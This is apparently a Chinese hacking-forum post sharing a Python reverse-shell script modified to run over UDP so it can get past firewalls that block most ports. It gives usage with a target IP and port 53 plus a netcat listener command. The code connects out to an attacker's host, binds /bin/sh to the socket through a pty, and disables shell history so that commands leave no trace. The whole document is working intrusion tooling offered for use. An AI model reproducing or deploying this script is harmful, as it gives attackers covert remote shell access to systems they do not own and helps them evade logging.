用来对付一些把除了80端口都封了的变态网管
用法 back.py 123.123.123.123 53 udp
nc监听:
nc -l 53 -u
后面不加udp的话还是默认的tcp
因为udp没有sequence的特性,当数据超过1个数据包的大小时会错位,具体多大会分包不太清楚,我记得是1500字节?好像和MTU有关。命令不要打太长就行了(一般情况下好像基本不会有1500个字符的命令)
其实就加了4行……
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
UDP by anthrax@insight-labs.org
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s [udp]' % name
def main():
if len(sys.argv) <3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
if sys.argv[3]=='udp':
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:pass
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()